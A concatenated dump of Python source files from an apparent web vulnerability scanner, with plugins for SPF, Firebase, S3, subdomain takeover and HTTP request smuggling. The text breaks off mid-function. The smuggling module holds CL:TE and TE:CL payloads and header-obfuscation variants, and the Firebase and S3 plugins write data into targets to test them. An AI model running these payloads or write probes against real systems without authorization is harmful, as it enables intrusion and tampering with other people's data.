from utils.status import * from .helper import Plugin,utils class SPF(Plugin): def __init__(self): self.name = "SPF Record" self.enable = True self.description = "" def presquites(self, host): return True def main(self,host): request = utils.requests.post('http://spf.myisp.ch/', data= { 'host': utils.uri(host) }) if "No SPF records found." in request.text: return Result( status = SUCCESS, msg = "Target as no SPF Record", request = None, response = None ) return Result(FAILED,None,None,None)
{"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]}
53,707
alex14324/Eagel
refs/heads/main
/plugins/firebase.py
from utils.status import * from .helper import Plugin,utils from urllib.parse import urlparse import tldextract class FireBase(Plugin): def __init__(self): self.name = "Firebase" self.enable = True self.description = "" def presquites(self, host): return True def main(self,host): mutations = [ host, tldextract.extract(host).domain, tldextract.extract(host).domain + "-dev", tldextract.extract(host).domain + "-staging", tldextract.extract(host).domain + "-test", tldextract.extract(host).domain + "-qa", tldextract.extract(host).domain + "dev", tldextract.extract(host).domain + "staging", tldextract.extract(host).domain + "test", tldextract.extract(host).domain + "qa", ] for mutated in mutations: firebase = "https://%s.firebaseio.com" % mutated request_read = utils.requests.get(firebase + "/.json") request_write = utils.requests.put(firebase + "/firebase/security.json",json={ "msg": "vulnerable" }) if request_read.status_code == 200 and request_write.status_code == 200: return Result( status = SUCCESS, msg = "%s has read-write enabled" % firebase, request = utils.dump_request(request_read), response = utils.dump_response(request_read) ) if request_read.status_code == 200 and request_write.status_code != 200: return Result( status = SUCCESS, msg = "%s has read enabled" % firebase, request = utils.dump_request(request_read), response = utils.dump_response(request_read) ) if request_read.status_code != 200 and request_write.status_code == 200: return Result( status = SUCCESS, msg = "%s has write enabled" % firebase, request = utils.dump_request(request_write), response = utils.dump_response(request_write) ) return Result(FAILED,None,None,None)
{"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]}
53,708
alex14324/Eagel
refs/heads/main
/utils/data.py
import zlib import base64 import threading def compress(data): if not data: return '' data = zlib.compress(data,9) return base64.b64encode(data).decode('utf8') def decompress(data): if not data: return '' data = base64.b64decode(data.encode('utf8')) return zlib.decompress(data) savelock = threading.Lock() def savetofile(name,content): with savelock: open(sys.path[0]+"/output/"+name ,'a+').write(content)
{"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]}
53,709
alex14324/Eagel
refs/heads/main
/plugins/s3.py
from utils.decorators import OnErrorReturnValue from botocore.handlers import disable_signing from botocore.config import Config from .helper import Plugin,utils from botocore import UNSIGNED from utils.status import * from io import StringIO import threading import boto3 import re class S3Security(Plugin): def __init__(self): self.name = "S3Security" self.enable = True self.description = "" self.content = "Uploaded by S3Security Plugin" self.path = "S3Security.txt" self.lock = threading.Lock() self.__cache = {} def presquites(self, host): if self.s3bucket(host) != False: return True return False @OnErrorReturnValue(False) def s3bucket(self,host): if host in self.__cache.keys(): return self.__cache[host] # Method 1 s3_url = "http://%s.s3.amazonaws.com" % host if utils.requests.head(s3_url).status_code != 404: with self.lock: self.__cache.update({host:host}) return host # Method 2 request = utils.requests.get(utils.uri(host) + "notfoundfile.scan", params={ "AWSAccessKeyId" : "AKIAI4UZT4FCOF2OTJYQ", "Expires" : "1766972005", "Signature" : "helloworld" }) if request.status_code == 403 and "AWSAccessKeyId" in request.text: bucket = re.findall("/.+/notfoundfile.scan",request.text)[0] bucket = bucket.replace("/notfoundfile.scan","")[1::] with self.lock: self.__cache.update({host:bucket}) return bucket return False @OnErrorReturnValue(False) def s3list(self,bucket): s3 = boto3.client('s3', config=Config(signature_version=UNSIGNED)) return len(s3.list_objects(Bucket=bucket,MaxKeys=10)) @OnErrorReturnValue(False) def s3upload(self,bucket): s3 = boto3.client('s3', config=Config(signature_version=UNSIGNED)) path = "http://%s.s3.amazonaws.com/%s" % (bucket, self.path) s3.put_object( Bucket = bucket, Key = self.path, ACL = 'public-read', Body = StringIO(self.content).read() ) if not ( self.content in utils.requests.get(path).text ): return False return path def main(self,host): bucket = self.s3bucket(host) upload = self.s3upload(bucket) listing = self.s3list(bucket) if listing and upload: return Result(SUCCESS,"Directory listing & File Upload: %s, %s" % (bucket,upload),None,None) if listing: return Result(SUCCESS,"Directory listing: %s" % bucket,None,None) if upload: return Result(SUCCESS,"File Upload: %s" % upload,None,None) if bucket != False: return Result(INFO,"S3: %s is safe" % bucket,None,None) return Result(FAILED,None,None,None)
{"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]}
53,710
alex14324/Eagel
refs/heads/main
/utils/decorators.py
def OnErrorReturnValue(value): def decorator(function): def wrapper(*args, **kwargs): try: result = function(*args, **kwargs) return result except Exception as e: #print(e) return value return wrapper return decorator
{"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]}
53,711
alex14324/Eagel
refs/heads/main
/plugins/plugin.py
from utils.status import * from .helper import Plugin class MyPlugin(Plugin): def __init__(self): self.name = "Example Plugin" self.enable = False self.description = "" def presquites(self, host): return True def main(self,host): return Result(SUCCESS,"This is test",None,None)
{"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]}
53,712
alex14324/Eagel
refs/heads/main
/utils/db.py
import json import os import sys import threading class JsonDB(): def __init__(self,name): if not os.path.isfile(name): open(name,"w").write("{}") self.data = json.loads(open(name,'r').read()) self.__lock = threading.Lock() self.__name = name def save(self): with self.__lock: open(self.__name,"w").write(json.dumps(self.data))
{"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]}
53,713
alex14324/Eagel
refs/heads/main
/plugins/subtakeover.py
from utils.status import * from .helper import Plugin,utils from dns import resolver import json import sys class TakeOver(Plugin): def __init__(self): self.name = "Subdomain Takeover" self.enable = True self.description = "" self.fingerprints = json.loads( open(sys.path[0]+"/plugins/files/fingerprints.json","r").read() ) def presquites(self, host): if utils.isalive( utils.uri(host) ): return True return False def vuln(self,host,html): answers = resolver.query(host, 'CNAME') cnames = [str(rdata.target) for rdata in answers] for fingerprint in self.fingerprints: service = fingerprint["service"] cname = fingerprint["cname"] text = fingerprint["fingerprint"] for ocname in cnames: for c in fingerprint["cname"]: for t in text: if (c in ocname) and (t in html): return [service,ocname,t] return None def main(self,host): request = utils.requests.get(utils.uri(host)) try: result = self.vuln(host,request.text) except: result = None if not result: return Result(FAILED,None,None,None) return Result( status = SUCCESS, msg = result, request = None, response = None )
{"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]}
53,714
alex14324/Eagel
refs/heads/main
/scripts/ping.py
from utils.status import * from utils.console import args import utils.multitask as multitask import utils import os def pinger(host): if utils.isalive(utils.uri(host)): return Result(SUCCESS,utils.uri(host),None,None) return Result(FAILED,utils.uri(host),None,None) def ping(hosts,silent=None): channel = multitask.Channel('ping') if not silent or args.verbose > 2: multitask.workers(pinger,channel,utils.console.args.workers, utils.console.pprint ) else: multitask.workers(pinger,channel,utils.console.args.workers) for host in hosts: channel.append(host) channel.wait() channel.close() if not silent: os._exit(0)
{"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]}
53,715
alex14324/Eagel
refs/heads/main
/plugins/helper.py
import utils class __PluginsManager(object): def __init__(self): self.loaded = [] def load(self,instance): self.loaded.append(instance) def unload(self,instance): self.loaded.remove(instance) class Plugin: pass loader = __PluginsManager()
{"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]}
53,716
alex14324/Eagel
refs/heads/main
/plugins/sumggler.py
from urllib.parse import urlparse from base64 import b64encode from .helper import Plugin from utils.status import * import utils.multitask as multitask import utils.data as data import threading import socket import utils import json import time import ssl MAX_EXCEPTION = 10 MAX_VULNERABLE = 5 t_base_headers = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/60.0', 'Accept': '*/*', 'Accept-Language': 'en-US,en;q=0.5', 'Content-Type': 'application/x-www-form-urlencoded', 'Connection': 'close', 'Content-Length': '0', } t_attacks_datas = [ {'name':'CL:TE1', 'Content-Length':5, 'body':'1\r\nZ\r\nQ\r\n\r\n'}, {'name':'CL:TE2', 'Content-Length':11, 'body':'1\r\nZ\r\nQ\r\n\r\n'}, {'name':'TE:CL1', 'Content-Length':5, 'body':'0\r\n\r\n'}, {'name':'TE:CL2', 'Content-Length':6, 'body':'0\r\n\r\nX'}, ] t_registered_method = [ #'tabprefix1', #'vertprefix1', #'underjoin1', #'underscore2', #'space2', #'chunky', #'bodysplit', #'zdsuffix', #'tabsuffix', #'UPPERCASE', #'reversevanilla', #'spaceFF', #'accentTE', #'accentCH', #'unispace', #'connection', 'vanilla', 'dualchunk', 'badwrap', 'space1', 'badsetupLF', 'gareth1', 'spacejoin1', 'nameprefix1', 'valueprefix1', 'nospace1', 'commaCow', 'cowComma', 'contentEnc', 'linewrapped1', 'quoted', 'aposed', 'badsetupCR', 'vertwrap', 'tabwrap', 'lazygrep', 'multiCase', 'zdwrap', 'zdspam', 'revdualchunk', 'nested', 'spacefix1_0', 'spacefix1_9', 'spacefix1_11', 'spacefix1_12', 'spacefix1_13', 'spacefix1_127', 'spacefix1_160', 'spacefix1_255', 'prefix1_0', 'prefix1_9', 'prefix1_11', 'prefix1_12', 'prefix1_13', 'prefix1_127', 'prefix1_160', 'prefix1_255', 'suffix1_0', 'suffix1_9', 'suffix1_11', 'suffix1_12', 'suffix1_13', 'suffix1_127', 'suffix1_160', 'suffix1_255', ] class SmugglerAttacks: def update_content_length(self, msg, cl ): return msg.replace( 'Content-Length: 0', 'Content-Length: '+str(cl) ) def underjoin1(self, msg): msg = msg.replace( 'Transfer-Encoding', 'Transfer_Encoding' ) return msg def underscore2(self, msg): msg = msg.replace( 'Content-Length', 'Content_Length' ) return msg def spacejoin1(self, msg): msg = msg.replace( 'Transfer-Encoding', 'Transfer Encoding' ) return msg def space1(self, msg): msg = msg.replace( 'Transfer-Encoding', 'Transfer-Encoding ' ) return msg def space2(self, msg): msg = msg.replace( 'Content-Length', 'Content-Length ' ) return msg def nameprefix1(self, msg): msg = msg.replace( 'Transfer-Encoding', ' Transfer-Encoding' ) return msg def valueprefix1(self, msg): msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding: ' ) return msg def nospace1(self, msg): msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding:' ) return msg def tabprefix1(self, msg): msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding:\t' ) return msg def vertprefix1(self, msg): msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding:\u000B' ) return msg def commaCow(self, msg): msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer-Encoding: chunked, identity' ) return msg def cowComma(self, msg): msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding: identity, ' ) return msg def contentEnc(self, msg): msg = msg.replace( 'Transfer-Encoding: ', 'Content-Encoding: ' ) return msg def linewrapped1(self, msg): msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding:\n' ) return msg def gareth1(self, msg): msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding\n : ' ) return msg def quoted(self, msg): msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer-Encoding: "chunked"' ) return msg def aposed(self, msg): msg = msg.replace( 'Transfer-Encoding: chunked', "Transfer-Encoding: 'chunked'" ) return msg def badwrap(self, msg): msg = msg.replace( 'Transfer-Encoding: chunked', 'Foo: bar' ) msg = msg.replace( 'HTTP/1.1\r\n', 'HTTP/1.1\r\n Transfer-Encoding: chunked\r\n' ) return msg def badsetupCR(self, msg): msg = msg.replace( 'Transfer-Encoding: chunked', 'Foo: bar' ) msg = msg.replace( 'HTTP/1.1\r\n', 'HTTP/1.1\r\nFooz: bar\rTransfer-Encoding: chunked\r\n' ) return msg def 